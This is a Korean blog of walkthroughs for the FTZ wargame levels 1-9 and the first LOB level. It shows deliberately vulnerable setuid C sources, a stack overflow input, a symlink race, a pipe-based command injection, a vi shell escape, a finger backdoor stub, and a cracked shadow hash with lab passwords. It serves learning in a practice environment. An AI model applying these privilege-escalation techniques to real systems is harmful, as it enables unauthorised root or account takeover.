FTZ level9

Posted by dw0rdptr
2015. 3. 17. 20:51 System/FTZ


hint :


다음은 /usr/bin/bof의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
   
    char buf2[10];  
    char buf[10];   
 
    printf("It can be overflow : ");  
    fgets(buf,40,stdin);   
    
    if ( strncmp(buf2, "go"2== 0 )
{        
        printf("Good Skill!\n");        
        setreuid( 30103010 );        
        system("/bin/bash");   
    } 
}   
 
cs

이를 이용하여 level10의 권한을 얻어라.



ftz에서 처음 나오는 버퍼 오버플로우 문제이다.

버퍼오버플로우가 뭔지 모른다면 관련 기초문서를 보고 오는게 좋다.



먼저 소스를 분석해보자


스택에 10바이트 크기의 char형 배열 buf2를 선언한다

그 후 10바이트 크기의 char형 배열 buf를 하나 더 선언한다.


그리고 fgets함수로 buf에 입력은 받은 뒤

strncmp함수로 buf2와 문자열 "go" 의 처음 두자리를 비교한 뒤 함수의 리턴값이 0이면 (처음 두자리가 같으면)

Good Skill!을 출력하고 level10의 권한으로 쉘을 실행시킨다.


fgets함수는 40바이트까지 입력을 할수 있게 되어있지만 실제 buf의 크기는 10이므로

10바이트 넘게 입력을 하면 버퍼오버플로우가 일어나 buf2로 입력이 가능하다.



메모리의 높은 주소

-------------                                    

     ret         4byte                               

-------------                                       ↓ 스택이 자라는 방향  

     sfp         4byte (saved frame pointer)

-------------

  dummy1     ???

-------------

  dummy2     ???

-------------

   buf2[10]    10byte

-------------

  dummy3     ???

-------------

   buf[10]     10byte

-------------

메모리의 낮은 주소


dummy3의 크기는 buf와 buf2에 따라 결정된다

buf와 buf2의 크기가 모두 9byte 이상일때, 

buf의 시작주소와 buf2의 시작주소까지의 거리가 16의 배수가 되게 dummy3의 크기가 결정된다.

(http://geundi.tistory.com/120 참고)


따라서 dummy3의 크기는 6byte가 된다.


이제 buf2의 처음 두 자리에 "go" 라는 문자열이 들어가게 하려면

buf+dummy3 = 16(byte)를 아무 문자로 채우고 go를 입력한다


[level10@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$ my-pass



'System > FTZ' 카테고리의 다른 글

FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17

FTZ level8

Posted by dw0rdptr
2015. 3. 17. 20:48 System/FTZ

hint - level9의 shadow 파일이 서버 어딘가에 숨어있다.

        그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.



우리가 아는건 파일의 용량밖에 없다.

find 명령으로 파일크기를 기준으로 찾아보자


find / -size [파일크기] [bckw중 택1] : 파일크기와 일치하는 파일


b : 블록단위 512kb

c : byte

k : kbyte

w : 2byte 워드

아무런 단위를 붙이지 않은 경우 : 디폴트 값 b



find / -size 2700(디폴트값 b) 으로 찾아봤더니 나온 파일이 모두 permission denied가 뜬다

c옵션을 줘보자


find / -size 2700c 


/etc/rc.d/found.txt를 찾았다.


열어보니 



level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

.

.

.

힌트를 다시 보자 

힌트에선 숨겨진 파일이 shadow파일이라고 한다. 


리눅스에서는 계정정보를 /etc/passwd에 보관하지만 사용자 패스워드와 그 외의 정보는 

따로 shadow 파일에 암호화해 보관한다



shadow 파일은 :(콜론) 으로 필드가 구분되어 있으며 

내용은 다음과 같다


계정명 : 암호화된 패스워드 : 최종 암호 변경일 : 암호변경 최소일수 : 암호변경 유예기간 : 

암호변경 경고 일수 : 계정 사용 불가 날짜 : 계정 만료일 : 예약


두번째 필드에 있는 내용이 암호화된 level9의 패스워드인데, 이걸 복호화하려면

John the Ripper(존더 리퍼) 라는 패스워드 크랙툴을 사용하면 된다.


존더리퍼를 사용해 크랙한 결과 


level9:apple:11040:0:99999:7:-1:-1:134549524



'System > FTZ' 카테고리의 다른 글

FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17

FTZ level7

Posted by dw0rdptr
2015. 3. 17. 20:46 System/FTZ


hint - 


/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



bin 디렉토리로 이동해 level7를 실행해보자


Insert The Password : 


패스워드 입력을 요청하는데, 아무값이나 입력해보면


_--_--_- _--____- _---_-__ _--__-_-


'-'과 '_' 두가지로 구성되고 띄어쓰기로 구분된 문자열이 출력됐다

이게뭐지? 하는순간 감이왔다

힌트를 다시 보면 패스워드는 2진수 == 두가지 신호라는 것을 알 수 있다.


_을 0으로, -를 1로 바꿔보자


01101101 01100001 01110100 01100101


10진수로 바꿔보면

109 97 116 101 


이 숫자들은 아마 아스키코드일 것이다.


109 = m

97 = a

116 = t

101 = e


password는 mate!


[level7@ftz bin]$ ./level7

Insert The Password : mate




'System > FTZ' 카테고리의 다른 글

FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17

FTZ level6

Posted by dw0rdptr
2015. 3. 17. 20:44 System/FTZ

접속을 하면 난데없이 힌트가 나온다



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.


엔터를 누르면 텔넷 접속서비스라고 뜨고 메뉴가나온다 

메뉴를 입력했더니 접속을 시도하다 그대로 세션이 종료되었다


다시 접속해보자

hint가 나올때 ctrl+c를 누르면 쉘이 뜬다

ls로 파일목록을보니

hint password  ....


password??


뭐지 설마..하면서 

[level6@ftz level6]$ cat password


끝.


'System > FTZ' 카테고리의 다른 글

FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17

FTZ level5

Posted by dw0rdptr
2015. 3. 17. 20:42 System/FTZ


hint :

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라



level5는 setuid가 걸려있다.


level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.

힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는

level5.tmp 파일이 존재하지 않았다.


여기서 생각해볼 수 있는 경우의 수는

아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나

프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.


첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니

두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.


심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.


level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다



1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;
    for(i=0;i<=1000;i++)
        system("/usr/bin/level5");        
}
cs

level5가 여러번 실행되면서  /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다

이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다


[level5@ftz tmp]$ touch slink

[level5@ftz tmp]$ vi link.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;        
    for(i=0;i<=1000;i++)
        system("ln -s /tmp/slink /tmp/level5.tmp");        
}
cs




[level5@ftz tmp]$ gcc -o level level.c

[level5@ftz tmp]$ gcc -o link link.c


이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고

심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.



[level5@ftz tmp]$ ./level5&

[1] 8267

[level5@ftz tmp]$ ./link

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

.

.

.

[1]+ Exit 84 ./level5


[level5@ftz tmp]$cat slink




'System > FTZ' 카테고리의 다른 글

FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17

FTZ level4

Posted by dw0rdptr
2015. 3. 17. 20:35 System/FTZ


hint : 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.



xinetd.d폴더를 보면 backdoor가 있다.


service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


vi로 뜯어본 결과

finger 서비스를 실행시키면

level5 의 권한으로 /home/level4/tmp/backdoor 파일을 실행시킨다.


하지만 저 경로에 backdoor라는 파일이 없으므로 간단한 c프로그램으로 해결하자



[level4@ftz tmp]$ vi backdoor.c


1
2
3
4
5
int main(){    
    system("my-pass");    
    return 0;
}
 
cs


이렇게 system함수로 my-pass 명령어를 실행할 수 있게 프로그램을 짰다

이제 gcc로 컴파일을 하자



*gcc 사용법:

gcc [옵션][생성될 실행파일] [컴파일할 c파일]



[level4@ftz tmp]$ gcc -o backdoor backdoor.c

같은 폴더에 backdoor라는 바이너리 파일이 생성되었다.

한번 실행해보자


[level4@ftz tmp]$ ./backdoor 

Level4 Password is "suck my brain"


현재 레벨의 권한으로 실행시켰으니 당연히 현재 레벨의 패스워드가 나온다.

그럼 finger명령어를 통해 실행시키면 level5의 권한으로 실행되니 level5의 패스워드가 나올 것이다.



finger 명령어는 사용자의 계정정보를 확인하는 명령어인데

finger @host명 으로 실행하게 되면 해당 서버에 접속해 있는 모든 유저의 정보를 출력한다

finger의 서버가  /home/level4/tmp/backdoor 으로 설정되어 있으니 서버에 접속하게 되면 그대로 

아까 생성해놓은 backdoor를 실행하게 되고 level5의 패스워드가 나올 것이다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J


'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level3

Posted by dw0rdptr
2015. 3. 17. 20:09 System/FTZ


argc와 argv에 대해


main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.


다음 코드는 autodig의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> 
int main(int argc, char **argv){         //argc는 인자의 개수, argv는 인자를 뜻한다     
    
    char cmd[100];     
 
    if( argc!=2 )
{        
        printf( "Auto Digger Version 0.9\n" );        
        printf( "Usage : %s host\n", argv[0] );        
        exit(0);    
    }     
 
    strcpy( cmd, "dig @" );    
    strcat( cmd, argv[1] );    
    strcat( cmd, " version.bind chaos txt");     
 
    system( cmd ); 
}
 
cs

이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.

동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.


[level3@ftz level2]$ ./autodig localhost|my-pass


Level3 Password is "can you fly?".



? 현재 레벨의 my-pass가 나온다

힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자


[level3@ftz level2]$ ./autodig "localhost|my-pass"




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level2

Posted by dw0rdptr
2015. 3. 17. 20:06 System/FTZ

level2


cat hint로 힌트를 보면

hint : 텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...



find / -user level3 -perm -4000 실행해보면

/usr/bin/editor 이 level3의 권한으로 실행된다는것을 알 수 있다.

실행시켜보면 vi editor가 뜨는데 vi는 리눅스를 쓴다면 정말 유용한 에디터이므로 사용법정도는 알아두는것이 좋다.


vi에는 기본적으로 세 가지 모드가 있는데,

그중 ex모드에서는 외부쉘을 실행 할 수 있으므로

:!/bin/bash 실행하면 level3 권한의 쉘 획득


* :!ls를 실행해보면 현재 디렉토리의 파일 목록이 그대로나온다


[level3@ftz level2]$ my-pass

 



'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level1

Posted by dw0rdptr
2015. 3. 17. 19:57 System/FTZ

level1

password : level1


hint : level2권한에 setuid가 걸린 파일을 찾는다



find / -user level2 -perm -4000 실행 (-perm -4000에서 4는 SetUID를 의미)


permission denied가 붙지않은 경로를 찾는다


.

.

.

.

.

/bin/ExecuteMe


실행하면 level2의 권한으로 명령하나를 실행할수 있게 해준다.(my-pass, chmod 제외)

level2의 bash를 얻으면 되므로

bash 실행



[level2@ftz level2]$ /bin/bash

[level2@ftz level2]$ my-pass




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17

[LOB] gate->gremlin

Posted by dw0rdptr
2015. 3. 17. 19:43 System/LOB

LOB 첫문제다. gate:gate로 접속하면 실행파일 gremlin과 소스가 보인다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - gremlin
    - simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
cs

(Color Scripter 개꿀)

단순히 인자를 받아 strcpy 함수로 버퍼에 복사하고 출력하는 프로그램이다


gdb로 까보자



스택에 256바이트가 할당되었다.

메모리구조를 보자면

| buffer(256Byte) | sfp(4Byte) | ret(4Byte) |

이렇게 간단하게 구성되어있다.



브포걸어주고 buffer의 시작주소를 찾는다. 대충 원하는 NOP 주소를 골라서,


페이로드를 작성하고 실행한결과





참고로 LOB에서는 bash에 버그가있어 메모리주소를 입력할 때 00이나 \xff가 있으면 널값으로 보기 때문에 bash2를 써야한다




'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gremlin -> cobolt  (0) 2015.03.18